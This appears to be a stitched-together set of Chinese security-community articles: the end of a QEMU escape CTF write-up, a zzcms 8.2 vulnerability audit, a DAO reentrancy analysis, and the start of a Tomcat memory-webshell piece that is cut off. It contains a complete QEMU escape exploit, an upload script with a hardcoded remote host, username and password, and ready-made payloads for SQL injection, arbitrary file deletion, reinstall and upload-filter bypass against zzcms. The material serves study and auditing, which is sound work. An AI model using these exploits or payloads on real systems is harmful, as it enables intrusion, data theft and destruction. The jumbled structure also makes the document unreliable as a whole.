注：此块`rwx`页的申请并非故意留的后门，为`tcg/translate-all.c`设备申请出来作为`dynamic translator
buffer`用的：
##### 思路四
说是只有一次机会任意地址分配+写，但实际上是只有一次任意地址分配的机会，然后有无限次向其中写的机会，所以可以想到能否先用这一次任意地址分配去分配到设备结构体，然后不断用写去将`0x1AC0`赋值为`1`，进而突破限制造成无限次任意地址分配，然后配合思路三去做。
要是设备结构体是分配在线程堆上的话，此方法应该是可行的，然而调试发现其位于`main_arena`上，啊这。
##### 突破
到这里已经过去一天的时间了。。。第二天起来还是没有啥思路，整理了一下思绪和现在可以做到的事情：
我们只能泄露出`mmap64`的地址和`thread_arena`的地址。
因为只有`thread_arena`的地址是现阶段可以得到的，所以我抱着试一试的态度去看了下`thread_arena`中的数据，没想到有意外收获：
在`thread_heap`固定偏移的地方存有稳定的`elfbase`地址，而且有很多个。。。说实话我不知道这些数据是做什么的，但是线程的`malloc_state`和`heap_info`中是不存在这种数据的：
`malloc_state`：
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. */
struct malloc_state *next_free;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
`heap_info`：
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
查看`malloc_state`结构体中内容：
发现从偏移`0x8c0`处`malloc_state`就已经结束，，接着是一个`0x255`的`chunk`，其是负责管理`tcache`的结构体：
然后到偏移`0xB10`处，`tcache`管理结构体结束，又是一个`0x98c5`的超大`chunk`，而那些`elfbase`就是存在于这个`chunk`中，但是我不知道他是用来做什么的以及那些`elf`的地址的意义代表什么：
发现了存在`elfbase`之后，就可以想办法将其泄露出来。
我们可以先确定一个程序使用率较低的`size`的`tcache`链来进行后续攻击，我这里选的是`0x400`这条链。先泄露出`thread_heap`的基址，然后`free`一个`size`为`0x400`的`fake_chunk`进入对应的`tcache`，然后用`case
2`去将这个`fake_chunk`的`fd`改为带有`elfbase`地址的`thread_heap`地址，我选的偏移是`0xBA0`。
形成如下结构：
(0x400) tcache_entry[62](2): fake_chunk --> thread_heap_start + 0xba0 --> elfbase + offset --> xxxxxxxx
然后调用两次`case 8`，一次`case 1`：
(0x400) tcache_entry[62](1): fake_chunk --> elfbase + offset --> xxxxxxxx
**但是要注意一点，我们需要在进行`leak
elfbase`之前要先布置好`tcache->counts[62]`，因为我们`malloc`的次数比`free`的次数要多，所以假如开始时`count`为1的话，那么在两次`malloc`之后会变为`255`，也就是`-1`，这时在那一次`case
1`的`free`中程序检测`tcache`已满，所以会去尝试放入`unsortedbin`中，导致报错，所以在最开始要先`free`两次`fake_chunk`将`tcache->counts[62]`调整为2。**
然后用`mmap64`的任意读读出`elfbase`地址。
有了`elfbase`之后，我们就可以用`GOT`表泄露`libcbase`，方法同上，注意点同上，要先将`tcache->counts[62]`调整为2。
#### hijack
有了`libcbase`之后，用一次任意地址分配+写去改`free_hook`为`system`，然后在`mmap64`处布置好`cat
/flag`字符串，调用`case 1`触发`free("cat /flag")`即可。
#### exp
加`getchar`是为了在调试时使`gdb`的信号接收不错位，比如你`exp`里先调用了`mmio_write`，后调用了`mmio_read`，然后在`mmio_read`和`mmio_write`的地址都下了断点，按`c`，会发现有时是先断在`mmio_read`的，可能是读的信号来的更快？？总之加了`getchar`就不会错位，`sleep(0.1)`应该也可以起到相同效果。
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <errno.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
void perr(char buf[]){
puts(buf);
exit(1);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
int main(){
setbuf(stdout,0);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR|O_SYNC);
if (mmio_fd == -1)
perr("[:(]mmio_fd open failed...");
mmio_mem = mmap(0,0x100000,PROT_READ|PROT_WRITE,MAP_SHARED,mmio_fd,0);
if (mmio_mem == MAP_FAILED)
perr("[:(]mmap mmio_mem failed...");
printf("[:)]mmio_mem = %p\n", mmio_mem);
mmio_write(0x030008,0x400);
getchar();
mmio_write(0x010010,0);
getchar();
mmio_write(0x010010,0);
getchar();
mmio_write(0x010010,0);
getchar();
mmio_write(0x030408,0x290);
getchar();
mmio_write(0x010410,0);
getchar();
uint64_t thread_heap = mmio_read(0x060410);
thread_heap &= 0xffffff000000;
printf("[:)]thread_heap = %p\n",thread_heap);
getchar();
mmio_write(0x030010,thread_heap + 0xba0);
getchar();
mmio_write(0x030014,thread_heap >> 32);
getchar();
*((uint8_t*)(mmio_mem + 0x08007E)) = 0;
getchar();
*((uint8_t*)(mmio_mem + 0x08007E)) = 0;
getchar();
mmio_write(0x010010,0);
getchar();
uint64_t codebase = mmio_read(0x060010)-(0x5555567ae468-0x555555554000);
printf("[:)]codebase = %p\n",codebase);
uint64_t free_got = 0x1092330 + codebase;
getchar();
mmio_write(0x010010,0);
getchar();
mmio_write(0x030010,free_got);
getchar();
mmio_write(0x030014,free_got >> 32);
getchar();
*((uint8_t*)(mmio_mem + 0x08007E)) = 0;
getchar();
*((uint8_t*)(mmio_mem + 0x08007E)) = 0;
getchar();
mmio_write(0x010010,0);
getchar();
uint64_t libcbase = mmio_read(0x060010)-0x97950;
printf("[:)]libcbase = %p\n",libcbase);
uint64_t free_hook = libcbase + (0x7ffff41528e8-0x00007ffff3d65000);
uint64_t system_addr = libcbase + (0x7ffff3db4440-0x00007ffff3d65000);
getchar();
mmio_write(0x030010,free_hook);
getchar();
mmio_write(0x030014,free_hook >> 32);
getchar();
*((uint8_t*)(mmio_mem + 0x08007E)) = 0;
getchar();
*((uint8_t*)(mmio_mem + 0x04007E)) = 0;
getchar();
*((uint64_t*)(mmio_mem + 0x070000)) = system_addr;
getchar();
mmio_write(0x030010,0x20746163);
getchar();
mmio_write(0x030014,0x616c662f);
getchar();
mmio_write(0x030018,0x067);
getchar();
mmio_write(0x010010,0);
exit(0);
}
/*
0x00007ffff3d65000 0x00007ffff3f4c000 r-xp /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff3f4c000 0x00007ffff414c000 ---p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff414c000 0x00007ffff4150000 r--p /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff4150000 0x00007ffff4152000 rw-p /lib/x86_64-linux-gnu/libc-2.27.so
gdb-peda$ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ffff41528e8 <__free_hook>
gdb-peda$ p &system
$2 = (int (*)(const char *)) 0x7ffff3db4440 <__libc_system>
*/
#### upload
打远程需要上传写好的`exp`，一般流程是先用`musl-gcc`编译，然后`strip`，然后再传：
musl-gcc myexp.c -Os -o myexp
strip myexp
python upload.py
`upload.py`：
#coding:utf-8
from pwn import *
import commands
HOST = "110.80.136.39"
PORT = 22
USER = "pwnvimu"
PW = "pwnvimu2002"
#context.log_level = 'debug'
def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("/ # ")
def upload():
p = log.progress("Upload")
with open("myexp","rb") as f:
data = f.read()
encoded = base64.b64encode(data)
r.recvuntil("/ # ")
for i in range(0,len(encoded),1000):
p.status("%d / %d" % (i,len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+1000]))
exec_cmd("cat ./benc | base64 -d > ./bout")
exec_cmd("chmod +x ./bout")
log.success("success")
def exploit(r):
upload()
r.interactive()
local = 0
if __name__ == "__main__":
if local != 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
## 结语
做完以后回头看，是不是你也觉得这道题没有这么难，只是细节比较多。
目前我个人遇到的`qemu`设备方面的逃逸大体分为两种，一种是写了个自定义设备，然后存在漏洞，另一种是更改了其原有的设备，需要我们对比源码与寻找漏洞，且一般来说第二种难度会更大一点（当然并不意味着第一种就会很简单），`Kimu`貌似是属于第二种？
这也是我第一次在比赛中做出`qemu-escape`，比较开心，但是路还很长，需倍加努力。 | 社区文章 |
### 前言
代码审计，最重要的就是多读代码，对用户与网站交互的地方要特别注意。在进行审计时，我们也可以使用一些审计工具来辅助我们进行工作，从而提高效率。下面，笔者将分享审计zzcms8.2的过程，与大家一起学习。这里，笔者使用
**seay源代码审计系统** 软件进行辅助工作。
### 审计流程
首先，笔者打开 **seay源代码审计系统**
软件，将要审计的网站源码导入项目，然后点击自动审计。当审计完成时，我们需要根据自动审计的结果，进行逐一验证。当然，我们不需要真的每个文件都打开看过去，可以根据扫描报告中的漏洞详细信息来判断是否可能存在漏洞，如果你觉的某个地方可能存在，这时，你再打开具体文件查看。
如果你想查询某个变量或者函数在代码中的具体位置，你也可以使用全局定位搜索，该软件会快速地定位找出具体文件，这一功能大大加快了我们审计的速度。对于来自用户的数据以及后端对数据库的操作，我们要特别注意。下面笔者介绍zzcms8.2的审计过程。
### 代码审计实例：zzcms8.2
#### sql注入漏洞
首先，" **/user/del.php** "开头两行包含了两个文件" **/inc/conn.php** "、" **/user/check.php**
"，而" **/inc/conn.php** "又包含了一些文件，其中要关注的是" **/inc/function.php** "和"
**/inc/stopsqlin.php** "。其中" **/inc/function.php** "提供了一些关键的功能函数，而"
**/inc/stopsqlin.php** "则是防止sql注入的。
# "/user/conn.php"文件
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");
包含" **/inc/stopsqlin.php** "文件，则会对REQUEST的数据进行过滤，具体代码如下
# "/user/stopsqlin.php"文件
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
function nostr($str){
$sql_injdata = "',/,\,<,>,�";
$sql_inj = explode(",",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false){
showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
}
}
return $str;//没有的返回值
}
我们来看一下" **/user/check.php** "函数是否存在可利用的地方，这个文件中有5处SQL语句查询，第一处，无法利用，因为首先参数经过"
**/inc/stopsqlin.php** "消毒处理，且被单引号包裹，无法闭合。
# "/user/check.php"文件
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);
剩下4处SQL语句要想执行，就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时，可以发现这里的ip可以伪造，而且代码未经任何过滤，仅仅只是用单引号包裹拼接。
# "/user/check.php"文件
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");//更新最后登录IP
# "/inc/function.php"文件
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
那么我们直接用sqlmap跑一下，这里我事先注册好了test用户密码为test，zzcms将用户的密码经md5加密后存在数据库中，结果如下：
sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C "admin,pass" --dump
GET /user/del.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
X-Forwarded-For: 111.111.111.111*
Connection: close
那么最后剩下的3处sql语句都无法利用，继续往下看。
# "/user/check.php"文件
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE username='".$username."'");//登录时加积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('".$username."','每天登录用户中心送积分','+".jf_login."','','".date('Y-m-d H:i:s')."')");
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."' WHERE username='".$username."'");//更新最后登录时间
在130多行处，我们发现有一个sql语句直接将`$tablename`变量直接进行拼接了，而这个`$tablename`变量可直接从post方式获取，代码未经任何过滤直接拼接，从而引发了sql注入。
# "/user/del.php"文件
if (strpos($id,",")>0)
$sql="select id,editor from ".$tablename." where id in (". $id .")";
else
$sql="select id,editor from ".$tablename." where id ='$id'";
作者 **vr_system** 于2018-02-07发表了 **ZZCMS v8.2 最新版SQL注入漏洞**
(<http://www.freebuf.com/vuls/161888.html>)
一文，文中使用的payload为：`id=1&tablename=zzcms_answer where id = 1 and
if((ascii(substr(user(),1,1)) =121),sleep(5),1)#`
但是这并不是一个通用payload，因为如果zzcms_answer是一个空表，则该payload无法利用，所以我们改进一下，payload改成如下即可，这里注意不能使用大于号、小于号，因为post上来的数据被addslashes()、htmlspecialchars()、trim()三个函数消毒处理过了。
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
在" **/user/logincheck.php** "、" **/admin/logincheck.php**
"中也存在多处由ip导致的sql注入，这里就不一一列举了。
#### 任意文件删除漏洞
该漏洞发生在80多行处的`$f`变量，该变量直接由`"../"`与`$oldimg`拼接而得，并未过滤`.`和`/`字符，导致跨目录删除文件。所以按照代码逻辑，我们只要让`$img`不等于`$oldimg`，且`$action`等于"modify"即可。
# "/user/adv.php"文件
.......
if (isset($_REQUEST["img"])){
$img=$_REQUEST["img"];
}else{
$img="";
}
if (isset($_REQUEST["oldimg"])){
$oldimg=$_REQUEST["oldimg"];
}
else{
$oldimg="";
}
.......
if ($action=="modify"){
query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='".$_COOKIE["UserName"]."'");
if ($oldimg<>$img){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
.......
}
payload如下：
POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Length: 149
Cache-Control: max-age=0
Origin: http://192.168.1.7
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.7/user/adv.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
Connection: close
adv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83
同样的漏洞发生在" **/user/licence_save.php** "30多行处
# "/user/licence_save.php"文件
........
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
........
}
........
payload如下：
POST /user/licence_save.php?action=modify HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
id=1&oldimg=admin/admin.php&img=t
该漏洞还存在于" **/user/manage.php** "、" **/user/ppsave.php** "、"
**/user/zssave.php** "、等文件中。
#### 网站重装漏洞
来看一下" **/install/index.php** "文件的代码流程，发现这里并没有检测" **/install/install.lock**
"文件是否存在，那应该是在其他文件中。
# "/install/index.php"文件
<?php
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2'://环境
........
include 'step_'.$step.'.php';
break;
case '3'://查目录属性
include 'step_'.$step.'.php';
break;
case '4'://建数据库
include 'step_'.$step.'.php';
break;
case '5'://安装进度
........
include 'step_'.$step.'.php';
?>
然而发现，只有" **/install/step_1.php** "文件在开头有检测" **/install/install.lock**
"文件是否存在（存在表示已经安装过），其他" **/install/step_2.php** "、" **/install/step_3.php** "、"
**/install/step_4.php** "、" **/install/step_5.php** "、"
**/install/step_6.php** "都少了该判断导致该漏洞的发生。
# "/install/step_1.php"文件
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过，如需重安装，请删除 /install/install.lock 文件</div>";
}
所以我们可以跳过第一步的检测，直接访问" **/install/step_2.php** "文件，payload如下：
POST /install/index.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
step=2
#### 反射型XSS
该漏洞出现在" **/inc/top.php** "文件中，需要用户登录方可利用。之前的大部分文件都会在开头包含" **/inc/conn.php**
"文件，对REQUEST数据进行消毒处理，而这个文件没有，从而导致漏洞的发生。我们只需要将标签闭合即可实现反射型xss。
# "/inc/top.php"文件
<?php
if (@$_POST["action"]=="search"){
echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}
if (isset($_REQUEST["skin"])){
$siteskin=$_REQUEST["skin"];
}
.......
?>
同样的漏洞还出现在" **/uploadimg_form.php** "文件66-67行处，这里不赘述。
#### 文件上传漏洞
" **/uploadimg_form.php**
"文件提供了一个文件上传的功能，然而这里没有过滤好，导致可以上传webshell。我们可以来看一下后端代码是如何进行验证的。
# "/uploadimg.php"文件
function upfile() {
//文件是否存在
if (!is_uploaded_file(@$this->fileName[tmp_name])){
echo "<script>alert('请点击“浏览”，先选择您要上传的文件！\\n\\n支持的图片类型为：jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
echo "<script>alert('文件大小超过了限制！最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
}
//检查文件类型
if (!in_array($this->fileName["type"], $this->uptypes)) {
echo "<script>alert('文件类型错误，支持的图片类型为：jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀，如可获取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm."，这种文件不允许上传');parent.window.close();</script>";exit;
}
......
}
首先，先判断文件是否存在，再检查文件是否超过限制，接着检查文件类型，这里可以用GIF89a绕过检查，最后使用黑名单机制检查文件后缀，问题就出在这里，黑名单少过滤了phtml，而apache会将phtml文件按照php文件来解析。所以我们可以构造payload如下，当然，使用copy命令生成的图片木马也可以绕过（例如：copy
test.jpg/b+test.php shell.jpg）。
### 结束语
当然，大家也可以使用其他的审计工具进行辅助，只要适合自己，有利于审计即可。虽然这是一个小cms，但是对于代码审计的新手来说，就是要多读、多看、多想。审计小cms的过程，就是在积累经验的过程，更是对我们将来审计大型框架进行铺垫。这里推荐大家一本书《代码审计
--企业级Web代码安全架构》，然后多看看网络上代码审计的案例，最重要的，还要自己动手审计一遍，希望这些技巧能够对你学习代码审计有所帮助。
PS：以上内容节选自团队期刊 [红日安全-特刊-技术年货](https://mp.weixin.qq.com/s/UGbZYh3-sGgt89VIO3AhVA) | 社区文章 |
作者：隐形人真忙
作者博客：<http://blog.csdn.net/u011721501/article/details/79450122>
#### 0x00 前言
最近关注了一下区块链方面的安全，因此翻出来之前的DAO攻击事件研究了一番，形成此文。
之后可能还会发一些其他的安全分析文章。
#### 0x00 基础知识
##### 1.跨合约调用
智能合约之间的调用本质上是外部调用，可以使用message call或者创建智能合约对象的形式进行调用。
（1）使用message call
比如合约1调用合约2的某个方法：
bytes4 methodId = bytes4(keccak256("increaseAge(string,uint256)"));
return addr.call(methodId,"jack", 1);
（2）还原智能合约对象 如果已知合约的地址，可以通过如下方式获取到合约对象：
Contract1 c = Contract1(AddressOfContract1) ;
c.foo() ; //跨合约调用
##### 2.智能合约发送ETH
我们可以在智能合约中用代码向某个地址（这个地址可以是人，也可以是智能合约）发送以太币，比较常见的两个方式是：
（1）调用send函数
比如：msg.sender.send(100)
（2）使用message call
msg.sender.call.value(100)()
这两个方式不同的是发送的gas数量，gas就是执行opcode需要花费的一种币，称作为gas也特别形象。当调用send方法时，只会发送一部分gas，准确地来讲，是2300gas，一旦gas耗尽就可能抛出异常。
而使用message call的时候，则是发送全部的gas，执行完之后剩余的gas会退还给发起调用的合约。
##### 3.fallback函数
智能合约中可以有唯一的一个未命名函数，称为fallback函数。该函数不能有实参，不能返回任何值。如果其他函数都不能匹配给定的函数标识符，则执行fallback函数。
当合约接收到以太币但是不调用任何函数的时候，就会执行fallback函数。如果一个合约接收了以太币但是内部没有fallback函数，那么就会抛出异常，然后将以太币退还给发送方。
下面就是一个fallback函数的代码示例：
contract Sample{
function () payable{
// your code here
}
}
一般单纯使用message call或者send函数发送以太币给合约的时候，没有指明调用合约的某个方法，这种情况下就会调用合约的fallback函数。
#### 0x01 攻击事件还原
我们先用简单的模拟代码来了解下整个攻击过程。
首先是存在漏洞的智能合约代码，Bank：
用户可以通过addToBalance方法存入一定量的以太币到这个智能合约，通过withdrawBalance方法可以提现以太坊，通过getUserBalance可以获取到账户余额。
注意到这里是通过message
call的方式来发送以太币，所以在调用sender的fallback函数的时候我们就会有充足的gas来进行循环调用。如果是send的方式，gas只有2300，稍微一操作就会耗尽gas抛出异常，是不够用来进行嵌套调用的。以下是不同操作所需要的gas数量：
出问题的是withdrawBalance方法，特别是在修改保存在区块链的balances的代码是放在了发送以太币之后。 攻击代码如下：
这里的deposit函数是往Bank合约中发送10wei。withdraw是通过调用Bank合约的withdrawBalance函数把以太币提取出来。注意看这里的fallback函数，这里循环调用了两次Bank合约的withdrawBalance方法。
攻击的过程如下：
（1）假设Bank合约中有100wei，攻击者Attack合约中有10wei
（2）Attack合约先调用deposit方法向Bank合约发送10wei
（3）之后Attack合约调用withdraw方法，从而调用了Bank的withdrawBalance方法。
（4）Bank的withdrawBalance方法发送给了Attack合约10wei
（5）Attack收到10wei之后，又会触发调用fallback函数
（6）这时，fallback函数又调用了两次Bank合约的withdrawBalance，从而转走了20wei
（7）之后Bank合约才修改Attack合约的balance，将其置为0
通过上面的步骤，攻击者实际上从Bank合约转走了30wei，Bank则损失了20wei，如果攻击者多嵌套调用几次withdrawBalance，完全可以将Bank合约中的以太币全部转走。
#### 0x02 复现过程
给Bank合约100wei，给Attack合约10wei。
（1）部署Bank，分配100wei
（2）部署Attack
分配给Attack 10wei。
（3）调用Attack合约的deposit方法
（4）调用Attack合约的withdraw方法
（5）查看Attack合约的余额，变成了30wei，即窃取了20wei
#### 0x03 DAO攻击事件代码分析
在DAO源码中，有withdrawRewardFor函数：
function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
throw;
uint reward =
(balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
if (!rewardAccount.payOut(_account, reward)) //vulnerable
throw;
paidOut[_account] += reward;
return true;
}
这里调用了payOut函数进行付款。
function payOut(address _recipient, uint _amount) returns (bool) {
if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
throw;
if (_recipient.call.value(_amount)()) { //vulnerable
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
而payOut中直接使用的是message call的方式发送以太币，从而导致了嵌套漏洞。
#### 0x04 总结
在编写智能合约进行以太币发送的时候，要使用send或者transfer，不要使用message
call的方式，而send其实还是有些小问题，以后有时间再分析。DAO事件直接导致了以太坊硬分叉，分为ETH和ETC。可见，区块链领域的安全不容忽视，因为其修复难度和所造成的影响都很高，毕竟是和钱打交道。
* * * | 社区文章 |
**作者：宽字节安全**
**原文链接：<https://mp.weixin.qq.com/s/gYGrdDtIldzrE7NHSxTDYQ>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
前几篇文章主要介绍了在tomcat，weblogic下如何通过动态注册一个Filter的方式，去实现无文件落地的webshell。当然在J2EE中，我们也可以动态注册一个Servlet去实现无文件落地的webshell。
**以下分析基于tomcat6，其他版本的Tomcat的思路类似**
## 0x00 servlet简介
### 1\. Servlet 是什么？
Java Servlet 是运行在 Web 服务器或应用服务器上的程序，它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP
服务器上的数据库或应用程序之间的中间层。使用 Servlet，您可以收集来自网页表单的用户输入，呈现来自数据库或者其他源的记录，还可以动态创建网页。Java
Servlet 通常情况下与使用 CGI（Common Gateway Interface，公共网关接口）实现的程序可以达到异曲同工的效果。但是相比于
CGI，Servlet 有以下几点优势：
* 性能明显更好。
* Servlet 在 Web 服务器的地址空间内执行。这样它就没有必要再创建一个单独的进程来处理每个客户端请求。
* Servlet 是独立于平台的，因为它们是用 Java 编写的。服务器上的 Java 安全管理器执行了一系列限制，以保护服务器计算机上的资源。因此，Servlet 是可信的。
* Java 类库的全部功能对 Servlet 来说都是可用的。它可以通过 sockets 和 RMI 机制与 applets、数据库或其他软件进行交互。
### 2\. Servlet 架构
下图显示了 Servlet 在 Web 应用程序中的位置。
## 0x01 Tomcat响应servlet的流程
在org.apache.catalina.core.StandardContextValve#invoke中，简化后的代码如下
Wrapper wrapper = request.getWrapper();
Object[] instances = this.context.getApplicationEventListeners();
ServletRequestEvent event = null;
int i;
ServletRequestListener listener;
HttpServletRequest sreq;
if (instances != null && instances.length > 0) {
event = new ServletRequestEvent(((StandardContext)this.container).getServletContext(), request.getRequest());
for(i = 0; i < instances.length; ++i) {
if (instances[i] != null && instances[i] instanceof ServletRequestListener) {
listener = (ServletRequestListener)instances[i];
try {
listener.requestInitialized(event);
} catch (Throwable var13) {
this.container.getLogger().error(sm.getString("standardContext.requestListener.requestInit", instances[i].getClass().getName()), var13);
sreq = request.getRequest();
sreq.setAttribute("javax.servlet.error.exception", var13);
return;
}
}
}
}
wrapper.getPipeline().getFirst().invoke(request, response);
在tomcat处理每次请求中，该方法是最重要的一个环节。在该方法中负责处理Listener请求，创建FilerChain以及找到对应的Servlet。
而`wrapper.getPipeline().getFirst().invoke(request,
response);`就是调用url请求对应的servlet。下面我们的任务就是找到tomcat如何设置wrapper对象，以及如何通过url去查找相对应的servlet类。
**我们从tomcat请求一个url开始分析**
如果对tomcat高度抽象化，我们可以得出如下结论。tomcat是由Connector与container构成。Connector主要负责Tomcat如何接受网络请求，Container则负责装载webapp。在这其中Adapter是Connector与Container的桥梁，负责两者之间信息的传递。
目前为止，Tomcat 只有一个 Adapter 实现类，就是 CoyoteAdapter。Adapter 的主要作用是将 Request
对象适配成容器能够识别的 Request 对象，比如 Servlet 容器，它的只能识别 ServletRequest 对象，这时候就需要 Adapter
适配器类作一层适配。
在`org.apache.catalina.connector.CoyoteAdapter#service`方法中，包装request与response对象。并且根据url中webapp的名称，调用响应的container。简化后的代码如下
public void service(Request req, Response res) throws Exception {
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)req.getNote(1);
